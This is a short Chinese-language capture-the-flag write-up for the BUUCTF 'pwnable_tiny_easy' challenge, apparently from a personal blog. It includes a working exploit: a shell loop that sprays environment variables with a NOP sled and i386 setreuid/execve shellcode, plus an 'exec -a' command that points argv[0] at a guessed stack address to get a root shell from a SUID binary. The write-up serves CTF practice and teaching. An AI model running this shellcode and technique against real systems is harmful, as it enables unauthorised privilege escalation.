[BUUCTF] pwnable_tiny_easy
pwnable_tiny_easy
总结
环境变量利用或者argv
的利用。
checksec
带有suid
。
漏洞点
调试发现,edx
实际为argv0
利用思路
远程开启了ASLR
,所以需要猜测下栈地址,不过由于是32
位,所以猜对的概率还是很大的。远程有python
,可以利用python
来输入不可见字符。
这里直接利用环境变量,首先导出足够多的环境变量:
for i in $(seq 1 500); do export RODERICK_$i=$(python -c 'print "\x90"*0x1000+"j1X\xcd\x80\x89\xc3jFX\x89\xd9\xcd\x80jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"');done;
后面的shellcode
为:asm(shellcraft.i386.linux.setreuid()+shellcraft.i386.linux.sh())
- 利用
execl
等函数,将argv0
修改为一个栈地址;当然也可以用exec
命令,使用-a
选项:exec -a $(python -c "print '\xc0\xc0\xc0\xff'") ./tiny_easy &
- 多试几次即可获得
root shell
EXP
for i in $(seq 1 500); do export RODERICK_$i=$(python -c 'print "\x90"*0x1000+"j1X\xcd\x80\x89\xc3jFX\x89\xd9\xcd\x80jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"');done;
exec -a $(python -c "print '\xc0\xc0\xc0\xff'") ./tiny_easy &
打远程:
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/16104108.html